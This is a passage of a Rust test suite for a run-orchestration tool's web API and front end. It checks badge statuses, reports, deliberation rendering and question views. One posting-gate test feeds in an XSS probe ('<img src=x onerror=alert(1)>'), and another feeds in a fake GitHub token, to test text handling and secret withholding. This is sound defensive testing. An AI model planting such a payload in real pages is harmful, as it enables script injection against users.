18773 use crate::run::Liveness::{Dead, Live, Unknown};
18774 let mut state = RunState::new(
18775 PathBuf::from("/repo/magi"),
18776 "main".to_owned(),
18777 "abc".to_owned(),
18778 "Badge".to_owned(),
18779 Config::default(),
18780 );
18781 for (status, waiting, live, superseded, expected) in [
18782 (RunStatus::Gating, false, Dead, false, "stale"),
18783 (RunStatus::Gating, false, Dead, true, "superseded"),
18784 (RunStatus::Gating, false, Unknown, true, "superseded"),
18785 (RunStatus::Gating, true, Dead, true, "superseded"),
18786 (RunStatus::Gating, true, Dead, false, "waiting"),
18787 (RunStatus::Gating, false, Unknown, false, "gating"),
18788 (RunStatus::Gating, false, Live, true, "gating"),
18789 (RunStatus::Gating, true, Live, true, "waiting"),
18790 (RunStatus::Merged, false, Dead, true, "merged"),
18791 (RunStatus::Blocked, false, Dead, true, "blocked"),
18792 ] {
18793 state.status = status;
18794 let display = run_display_status(&state, waiting, live);
18795 assert_eq!(
18796 run_badge_status(&state, &display, live, superseded),
18797 expected,
18798 "{status:?}/{live:?}/superseded={superseded}"
18799 );
18800 }
18801 }
18802
18803 #[test]
18804 fn summarize_and_detail_expose_badge_status() {
18805 use crate::run::Liveness::Dead;
18806 let mut state = RunState::new(
18807 PathBuf::from("/repo/magi"),
18808 "main".to_owned(),
18809 "abc".to_owned(),
18810 "Badge".to_owned(),
18811 Config::default(),
18812 );
18813 state.status = RunStatus::Gating;
18814 let none = HashSet::new();
18815 let id = state.id.clone();
18816 let mut by = HashMap::new();
18817 let rows = summarize(
18818 [state.clone()],
18819 &none,
18820 &none,
18821 &by,
18822 |_| Some(false),
18823 |_| None,
18824 );
18825 assert_eq!(rows[0].badge_status, rows[0].display_status);
18827 by.insert(id, "20260901-000000-913b".to_owned());
18828 let detail = RunDetailView::of(
18829 state.clone(),
18830 false,
18831 Dead,
18832 Some("913b".to_owned()),
18833 None,
18834 None,
18835 );
18836 assert_eq!(detail.badge_status, "superseded");
18837 let json = serde_json::to_value(&detail).unwrap();
18838 assert_eq!(json["badge_status"], "superseded");
18839 let detail = RunDetailView::of(state, false, Dead, None, None, None);
18840 assert_eq!(detail.badge_status, "stale");
18841 }
18842
18843 #[tokio::test]
18844 async fn run_display_status_routes_share_the_open_question_store() {
18845 let f = Fixture::start().await;
18846 let id = "20260922-090200-abcd";
18847 write_run(&f.runs(), id, RunStatus::Judging);
18848 let mut state = read_run(&f.runs(), id).unwrap();
18849 state.parked = true;
18850 state.driver_exited = true;
18851 state.event("github-text", "waiting for the owner");
18852 state.save_under(f.home.path()).unwrap();
18853 let mut task = Task::new(
18854 "resumed task".to_owned(),
18855 "do it".to_owned(),
18856 PathBuf::from("/repo"),
18857 Source::Human,
18858 );
18859 task.runs = vec![id.to_owned(), id.to_owned()];
18860 f.queue().put(&mut task).unwrap();
18861 let store = f.questions();
18862 let mut q = Question::new(
18863 id.to_owned(),
18864 "github-text".to_owned(),
18865 "owner".to_owned(),
18866 "Approve the text?".to_owned(),
18867 String::new(),
18868 Vec::new(),
18869 );
18870 store.put(&mut q).unwrap();
18871 for expected in ["waiting", "parked"] {
18872 let list = f.get("/api/runs").await.json();
18873 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18874 assert_eq!(list[0]["display_status"], expected);
18875 assert_eq!(detail["display_status"], expected);
18876 assert_eq!(detail["waiting"], list[0]["waiting"]);
18877 assert_eq!(list[0]["badge_status"], expected);
18878 assert_eq!(detail["badge_status"], expected);
18879 assert!(list[0]["superseded_by"].is_null());
18880 assert!(detail["superseded_by"].is_null());
18881 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18882 let history = task_detail["history"].as_array().unwrap();
18883 assert_eq!(history.len(), 2);
18884 assert!(history[0]["badge"].is_null());
18885 assert_eq!(history[1]["badge"], expected);
18886 q.status = ask::QuestionStatus::Answered;
18887 store.put(&mut q).unwrap();
18888 }
18889 }
18890
18891 #[tokio::test]
18892 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18893 let f = Fixture::start().await;
18894 let id = "20260922-090200-abcd";
18895 write_run(&f.runs(), id, RunStatus::Judging);
18896 let mut state = read_run(&f.runs(), id).unwrap();
18897 state.parked = true;
18898 state.driver_exited = true;
18899 state.event("park", "stopped at a node boundary");
18900 state.save_under(f.home.path()).unwrap();
18901
18902 for expected in ["parked", "stale"] {
18903 let list = f.get("/api/runs").await.json();
18904 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18905 assert_eq!(list[0]["live"], "dead");
18906 assert_eq!(list[0]["display_status"], expected);
18907 assert_eq!(detail["display_status"], expected);
18908 state.parked = false;
18911 state.save_under(f.home.path()).unwrap();
18912 }
18913 }
18914
18915 #[tokio::test]
18916 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18917 let f = Fixture::start().await;
18918 for id in [
18919 "20260902-140501-aaaa",
18920 "20260902-140502-bbbb",
18921 "20260902-140503-cccc",
18922 ] {
18923 write_run(&f.runs(), id, RunStatus::Merged);
18924 }
18925
18926 let all = f.get("/api/runs").await.json();
18927 let capped = f.get("/api/runs?limit=2").await.json();
18928
18929 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18930 assert_eq!(all.as_array().map(Vec::len), Some(3));
18931 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18932 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18933 }
18934
18935 #[tokio::test]
18936 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18937 let f = Fixture::start().await;
18938 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18939
18940 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18941
18942 assert_eq!(res.status, 200);
18943 assert!(
18944 res.headers
18945 .contains("content-type: text/plain; charset=utf-8"),
18946 "a browser must render it, not download it: {}",
18947 res.headers
18948 );
18949 assert!(
18953 res.body.contains("20260902-140501-a1b2"),
18954 "the report is about the run that was asked for: {}",
18955 res.body
18956 );
18957 }
18958
18959 #[tokio::test]
18960 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18961 crate::run::pin_test_home();
18963 let f = Fixture::start().await;
18964 let id = "20260902-140501-a1b2";
18965 write_run(&f.runs(), id, RunStatus::Stalled);
18966 let path = f.runs().join(id).join("run.json");
18969 let mut v: serde_json::Value =
18970 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18971 v["tally"] = serde_json::json!({
18972 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18973 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18974 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18975 "met_quorum": false, "rankings": 1
18976 });
18977 v["reviews"] = serde_json::json!([{
18978 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18979 "e2e_deferred": true,
18980 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18981 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18982 ]}]
18983 }]);
18984 std::fs::write(&path, v.to_string()).unwrap();
18985 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18986 std::fs::write(
18987 f.runs().join("20260902-140502-dead").join("run.json"),
18988 "{not json",
18989 )
18990 .unwrap();
18991
18992 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18993
18994 assert_eq!(res.status, 200, "{}", res.body);
18995 assert!(res.headers.contains("content-type: application/json"));
18996 let j = res.json();
18997 assert_eq!(j["schema"], 1);
18998 assert_eq!(j["header"]["id"], id);
18999 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19000 let kinds: Vec<&str> = j["sections"]
19001 .as_array()
19002 .unwrap()
19003 .iter()
19004 .map(|s| s["kind"].as_str().unwrap())
19005 .collect();
19006 assert_eq!(kinds, ["candidates", "tally", "review"]);
19007 let tally = &j["sections"][1]["tally"];
19008 assert_eq!(
19009 (tally["decided"].clone(), tally["provisional"].clone()),
19010 (false.into(), true.into())
19011 );
19012 let round = &j["sections"][2]["rounds"][0];
19013 assert_eq!(round["e2e"]["state"], "deferred");
19014 assert_eq!(round["findings"][0]["severity"], "major");
19015 assert_eq!(round["findings"][0]["blocking"], true);
19016 assert_eq!(round["findings"][0]["state"], "open");
19017
19018 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19020
19021 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19023 assert_ne!(bad.status, 200, "{}", bad.body);
19024 assert_eq!(
19025 bad.status,
19026 f.get("/api/runs/20260902-140502-dead/report").await.status
19027 );
19028 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19029 assert_eq!(
19030 f.get("/api/runs/20260902-999999-ffff/report.json")
19031 .await
19032 .status,
19033 404
19034 );
19035 }
19036
19037 #[tokio::test]
19038 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19039 crate::run::pin_test_home();
19040 let f = Fixture::start().await;
19041 let id = "20260902-140503-delib";
19042 write_run(&f.runs(), id, RunStatus::Merged);
19043 let path = f.runs().join(id).join("run.json");
19044 let mut v: serde_json::Value =
19045 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19046 v["judgements"] = serde_json::json!([
19047 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19048 ]);
19049 v["tally"] = serde_json::json!({
19050 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19051 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19052 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19053 "met_quorum": true, "rankings": 1
19054 });
19055 v["deliberation"] = serde_json::json!([
19056 {
19057 "round": 1,
19058 "turns": [
19059 {
19060 "judge": 1,
19061 "agent": "judge-1",
19062 "body": "I prefer candidate **A** because it has cleaner tests.",
19063 "tentative": "A"
19064 }
19065 ]
19066 },
19067 {
19068 "round": 2,
19069 "turns": [
19070 {
19071 "judge": 1,
19072 "agent": "judge-1",
19073 "body": "Still thinking, no choice yet.",
19074 "tentative": null
19075 }
19076 ]
19077 }
19078 ]);
19079 std::fs::write(&path, v.to_string()).unwrap();
19080
19081 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19082 assert_eq!(res.status, 200, "{}", res.body);
19083 let j = res.json();
19084 let judging = j["sections"]
19085 .as_array()
19086 .unwrap()
19087 .iter()
19088 .find(|s| s["kind"] == "judging")
19089 .expect("judging section exists");
19090
19091 let delib_lines = judging["deliberation"].as_array().unwrap();
19093 assert_eq!(delib_lines.len(), 2);
19094 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19095 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19096
19097 let rounds = judging["rounds"].as_array().unwrap();
19099 assert_eq!(rounds.len(), 2);
19100 let r1_t0 = &rounds[0]["turns"][0];
19101 assert_eq!(r1_t0["judge"], 1);
19102 assert_eq!(r1_t0["agent"], "judge-1");
19103 assert_eq!(r1_t0["tentative"], "A");
19104 assert_eq!(
19105 r1_t0["body"],
19106 "I prefer candidate **A** because it has cleaner tests."
19107 );
19108 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19109
19110 let r2_t0 = &rounds[1]["turns"][0];
19111 assert_eq!(r2_t0["judge"], 1);
19112 assert_eq!(r2_t0["agent"], "judge-1");
19113 assert!(r2_t0["tentative"].is_null());
19114 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19115 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19116
19117 let id_empty = "20260902-140504-nodelib";
19119 write_run(&f.runs(), id_empty, RunStatus::Merged);
19120 let path_empty = f.runs().join(id_empty).join("run.json");
19121 let mut v_empty: serde_json::Value =
19122 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19123 v_empty["judgements"] = serde_json::json!([
19124 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19125 ]);
19126 v_empty["deliberation"] = serde_json::json!([]);
19127 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19128
19129 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19130 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19131 let j_empty = res_empty.json();
19132 let judging_empty = j_empty["sections"]
19133 .as_array()
19134 .unwrap()
19135 .iter()
19136 .find(|s| s["kind"] == "judging")
19137 .expect("judging section exists");
19138 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19139 }
19140
19141 #[tokio::test]
19142 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19143 let f = Fixture::start().await;
19144
19145 let html = f.get("/").await;
19146 let css = f.get("/app.css").await;
19147 let js = f.get("/app.js").await;
19148
19149 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19150 assert!(
19151 html.headers
19152 .contains("content-type: text/html; charset=utf-8")
19153 );
19154 assert!(css.headers.contains("content-type: text/css"));
19155 assert!(js.headers.contains("content-type: text/javascript"));
19156 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19157 }
19158
19159 #[test]
19160 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19161 let body = |name: &str| {
19162 let at = APP_JS
19163 .find(name)
19164 .unwrap_or_else(|| panic!("{name} missing"));
19165 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19166 };
19167 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19168 let note = body("function landRoundNote");
19169 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19170 assert!(note.contains("Land round ${round}"));
19171 let land = body("function renderLand");
19172 let note_at = land
19173 .find("landRoundNote(pr)")
19174 .expect("renderLand uses the note");
19175 assert!(
19176 note_at
19177 < land
19178 .find("roundRail(pr)")
19179 .expect("renderLand uses the rail")
19180 );
19181 }
19182
19183 #[test]
19184 fn the_runs_page_redesign_keeps_its_guards() {
19185 let body = |name: &str| {
19186 let at = APP_JS
19187 .find(name)
19188 .unwrap_or_else(|| panic!("{name} missing"));
19189 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19190 };
19191 let land = body("function renderLand");
19193 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19194 assert!(
19195 !land.contains("box.append("),
19196 "renderLand must use append()"
19197 );
19198 assert!(land.contains("append(box, ["));
19199 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19201 assert!(
19202 body("function applyRoute")
19203 .contains("route.name !== state.route.name || route.id !== state.route.id")
19204 );
19205 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19207 assert!(!INDEX_HTML.contains("advise-converge"));
19208 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19209 assert!(APP_JS.contains("provisional"));
19210 for id in [
19211 "run-tab-overview",
19212 "run-tab-timeline",
19213 "run-tab-report",
19214 "run-report",
19215 "runs-scope",
19216 ] {
19217 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19218 }
19219 assert!(!INDEX_HTML.contains("runs-tree"));
19220 assert!(!INDEX_HTML.contains("run-raw-panel"));
19221 assert!(APP_JS.contains("resume"));
19223 assert!(APP_JS.contains("unreadable"));
19225 }
19226
19227 #[test]
19228 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19229 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19230 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19231 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19232 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19233 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19234 assert!(APP_JS.contains("unreadable` : null"));
19236 }
19237
19238 #[test]
19239 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19240 let mut state = RunState::new(
19241 "/repo".into(),
19242 "main".into(),
19243 "abc".into(),
19244 "task".into(),
19245 crate::config::Config::default(),
19246 );
19247 state.status = RunStatus::Blocked;
19248 state.gate_ran = true;
19249 state.gate.push(crate::run::CommandOutcome {
19250 command: "cargo make check".into(),
19251 code: Some(1),
19252 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19253 duration_ms: 0,
19254 resource_blocked: false,
19255 });
19256 let view = RunDetailView::of(
19257 state,
19258 false,
19259 crate::run::Liveness::Unknown,
19260 None,
19261 None,
19262 None,
19263 );
19264 let value = serde_json::to_value(view).unwrap();
19265 assert_eq!(
19266 value["stop_reason"],
19267 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19268 );
19269 }
19270
19271 #[test]
19272 fn the_run_detail_payload_says_whether_the_run_is_done() {
19273 for (status, done) in [
19275 (RunStatus::Superseded, true),
19276 (RunStatus::Blocked, true),
19277 (RunStatus::Landing, false),
19278 ] {
19279 let mut state = RunState::new(
19280 std::path::PathBuf::from("/repo"),
19281 "main".to_owned(),
19282 "abc".to_owned(),
19283 "x".to_owned(),
19284 crate::config::Config::default(),
19285 );
19286 state.status = status;
19287 let v = serde_json::to_value(RunDetailView::of(
19288 state,
19289 false,
19290 crate::run::Liveness::Unknown,
19291 None,
19292 None,
19293 None,
19294 ))
19295 .unwrap();
19296 assert_eq!(v["done"], done, "{status:?}");
19297 }
19298 }
19299
19300 fn has_strong(nodes: &[md::Node]) -> bool {
19302 serde_json::to_string(nodes).unwrap().contains("strong")
19303 }
19304
19305 #[test]
19306 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19307 let mut state = RunState::new(
19308 std::path::PathBuf::from("/repo"),
19309 "main".to_owned(),
19310 "abc".to_owned(),
19311 "x".to_owned(),
19312 crate::config::Config::default(),
19313 );
19314 let proposal = |approach: &str| {
19315 serde_json::json!({
19316 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19317 })
19318 };
19319 state.advice = Some(
19320 serde_json::from_value(serde_json::json!({
19321 "records": [
19322 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19323 "proposal": proposal("do **this**")},
19324 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19325 ],
19326 "synthesis": "- one\n- **two**\n\n`code`",
19327 }))
19328 .unwrap(),
19329 );
19330 state.candidates = serde_json::from_value(serde_json::json!([
19331 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19332 "summary": "did **it**"},
19333 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19334 ]))
19335 .unwrap();
19336 state.reviews = serde_json::from_value(serde_json::json!([{
19339 "round": 1, "head": "h",
19340 "reviews": [{
19341 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19342 "findings": [
19343 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19344 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19345 ],
19346 }],
19347 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19348 "fix": {"agent": "a", "notes": "fixed **it**",
19349 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19350 }, {"round": 2, "head": "h2", "reviews": []}]))
19351 .unwrap();
19352
19353 let v = serde_json::to_value(RunDetailView::of(
19354 state,
19355 false,
19356 crate::run::Liveness::Unknown,
19357 None,
19358 None,
19359 None,
19360 ))
19361 .unwrap();
19362
19363 let strong = |p: &str| {
19364 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19365 assert!(n.to_string().contains("strong"), "{p}: {n}");
19366 };
19367 strong("/advice_md/synthesis");
19368 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19369 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19370 strong("/advice_md/approaches/0");
19371 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19372 strong("/candidate_summaries_md/0");
19373 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19374 strong("/reviews_md/0/reviewers/0/summary");
19375 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19376 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19377 assert!(f[1].to_string().contains("strong"));
19378 strong("/reviews_md/0/reconsideration/0");
19379 strong("/reviews_md/0/fix/notes");
19380 strong("/reviews_md/0/fix/rejected/0");
19381 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19382 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19383 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19385 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19386 }
19387
19388 #[test]
19389 fn a_run_without_advice_has_no_advice_md() {
19390 let state = RunState::new(
19391 std::path::PathBuf::from("/repo"),
19392 "main".to_owned(),
19393 "abc".to_owned(),
19394 "x".to_owned(),
19395 crate::config::Config::default(),
19396 );
19397 let p = run_prose_md(&state);
19398 assert!(p.advice_md.is_none());
19399 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19400 }
19401
19402 #[test]
19403 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19404 let store = ask::Questions::at(PathBuf::from("unused"));
19405 let gt = crate::github_text::Withheld {
19406 title: false,
19407 body: true,
19408 categories: vec!["sensitive-data".into()],
19409 };
19410 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19411 let (detail, comparison) =
19412 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19413 let mut q = Question::new(
19414 "r".into(),
19415 "github-text".into(),
19416 "posting-gate".into(),
19417 "s".into(),
19418 detail,
19419 Vec::new(),
19420 );
19421 assert!(
19422 QuestionView::of(q.clone(), &store, None)
19423 .posting_view
19424 .is_none()
19425 );
19426 q.posting_comparison = Some(comparison);
19427 let view = QuestionView::of(q.clone(), &store, None);
19428 let field = &view.posting_view.unwrap().fields[0];
19429 assert_eq!(
19430 field
19431 .original
19432 .iter()
19433 .map(|f| f.text.as_str())
19434 .collect::<String>(),
19435 body
19436 );
19437 assert!(field.original[0].text.starts_with("<img"));
19438 let original_question: Question =
19439 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19440 assert_eq!(original_question, q);
19441 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19442 .original
19443 .start = 1;
19444 assert!(
19445 QuestionView::of(q.clone(), &store, None)
19446 .posting_view
19447 .is_none()
19448 );
19449 q.posting_comparison = original_question.posting_comparison;
19450 q.detail.push_str("extra context");
19451 assert!(
19452 QuestionView::of(q.clone(), &store, None)
19453 .posting_view
19454 .is_some()
19455 );
19456 q.detail.insert(0, 'x');
19457 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19458 }
19459
19460 #[test]
19461 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19462 let store = ask::Questions::at(PathBuf::from("unused"));
19463 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19464 let gt = crate::github_text::Withheld::from_check(
19465 &crate::github_text::check("fix: x", body),
19466 "fix: x",
19467 body,
19468 )
19469 .unwrap();
19470 let (detail, comparison) =
19471 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19472 let mut q = Question::new(
19473 "r".into(),
19474 "github-text".into(),
19475 "posting-gate".into(),
19476 "s".into(),
19477 detail,
19478 Vec::new(),
19479 );
19480 q.posting_comparison = Some(comparison);
19481 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19482 let field = &value["posting_view"]["fields"][0];
19483 let group = &field["replacement_group"];
19484 let triggers = group["triggers"].as_array().unwrap();
19485 assert_eq!(triggers.len(), 2);
19486 assert_ne!(triggers[0], triggers[1]);
19487 for id in triggers {
19488 assert!(
19489 field["original"]
19490 .as_array()
19491 .unwrap()
19492 .iter()
19493 .any(|f| &f["pair"] == id)
19494 );
19495 assert!(
19496 !field["changed"]
19497 .as_array()
19498 .unwrap()
19499 .iter()
19500 .any(|f| &f["pair"] == id)
19501 );
19502 }
19503 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19504 group["id"].as_u64().unwrap() as usize;
19505 assert!(
19506 QuestionView::of(q, &store, None).posting_view.is_none(),
19507 "group and trigger IDs cannot collide"
19508 );
19509 }
19510
19511 #[test]
19512 fn a_question_view_carries_markdown_for_each_thread_turn() {
19513 let home = TempDir::new().unwrap();
19514 let store = ask::Questions::at(home.path().join("questions"));
19515 let mut q = Question::new(
19516 "run".to_owned(),
19517 "implement".to_owned(),
19518 "impl-A".to_owned(),
19519 "which?".to_owned(),
19520 String::new(),
19521 Vec::new(),
19522 );
19523 q.say("plain words").unwrap();
19524 q.reply("use **this**", Vec::new()).unwrap();
19525 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19526 let bodies = &v["thread_bodies_md"];
19527 assert_eq!(bodies.as_array().unwrap().len(), 2);
19528 assert!(!bodies[0].to_string().contains("strong"));
19529 assert!(bodies[1].to_string().contains("strong"));
19530 }
19531
19532 #[test]
19533 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19534 let home = TempDir::new().unwrap();
19535 let store = ask::Questions::at(home.path().join("questions"));
19536 let mut q = Question::new(
19537 "run".to_owned(),
19538 "conduct".to_owned(),
19539 "conduct".to_owned(),
19540 "which?".to_owned(),
19541 String::new(),
19542 Vec::new(),
19543 );
19544 q.say("plain words").unwrap();
19545 q.thread.push(ask::Turn {
19546 who: ask::Who::Agent,
19547 body: "Settled as `merge`".to_owned(),
19548 at: jiff::Timestamp::now(),
19549 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19550 });
19551 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19552 let notes = &v["thread_notes_md"];
19553 assert_eq!(notes.as_array().unwrap().len(), 2);
19554 assert!(notes[0].is_null());
19555 let text = notes[1].to_string();
19556 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19557 assert!(APP_JS.contains("ask-turn-note"));
19558 }
19559
19560 #[test]
19561 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19562 assert!(APP_JS.contains("function landView(run, raw) {"));
19566 assert!(
19567 APP_JS.contains(
19568 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19569 )
19570 );
19571 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19572 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19573 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19574 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19575 }
19576
19577 #[test]
19578 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19579 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19580 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19581 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19582 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19583 }
19584
19585 #[test]
19586 fn review_rounds_label_a_distinct_verified_head() {
19587 assert!(APP_JS.contains("round.verified_head"));
19588 assert!(APP_JS.contains("verified HEAD"));
19589 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19590 }
19591
19592 #[test]
19593 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19594 assert!(APP_JS.contains("blocked: { glyph:"));
19598 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19599
19600 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19604 assert!(
19605 APP_JS.contains(
19606 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19607 ),
19608 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19609 );
19610 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19614
19615 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19619 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19620 assert!(
19621 APP_JS.contains("location.hash = \"#/questions\";"),
19622 "a question node must jump to the Questions screen, not pretend to be a task"
19623 );
19624
19625 assert!(APP_JS.contains("Resolved questions"));
19628 assert!(APP_JS.contains("r.answersList.append("));
19629 assert!(APP_CSS.contains(".task-answers"));
19630 {
19631 let start = APP_JS
19632 .find("function updateTalkTaskRow")
19633 .expect("updateTalkTaskRow");
19634 let body = &APP_JS[start..];
19635 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19636 assert!(
19637 body.contains(
19638 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19639 ),
19640 "a chat-filed task row must link to the task page"
19641 );
19642 assert!(
19643 !body.contains("#/runs/") && !body.contains("#/queue/"),
19644 "the row must not branch to a run or the queue card"
19645 );
19646 assert!(APP_CSS.contains(".talk-task-link"));
19647 }
19648 }
19649
19650 #[test]
19651 fn a_task_notification_links_to_the_task_page() {
19652 let start = APP_JS
19654 .find("function noticeLink(")
19655 .expect("noticeLink exists");
19656 let body = &APP_JS[start..];
19657 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19658 assert!(
19659 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19660 "a task notice's link must target the task page"
19661 );
19662 assert!(
19663 !body.contains("#/queue/"),
19664 "regression: the task link must not go back to the Backlog route"
19665 );
19666 assert!(
19667 APP_JS.contains(
19668 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19669 ),
19670 "`#/tasks/<id>` must parse into the task route"
19671 );
19672
19673 assert!(
19675 APP_JS.contains(
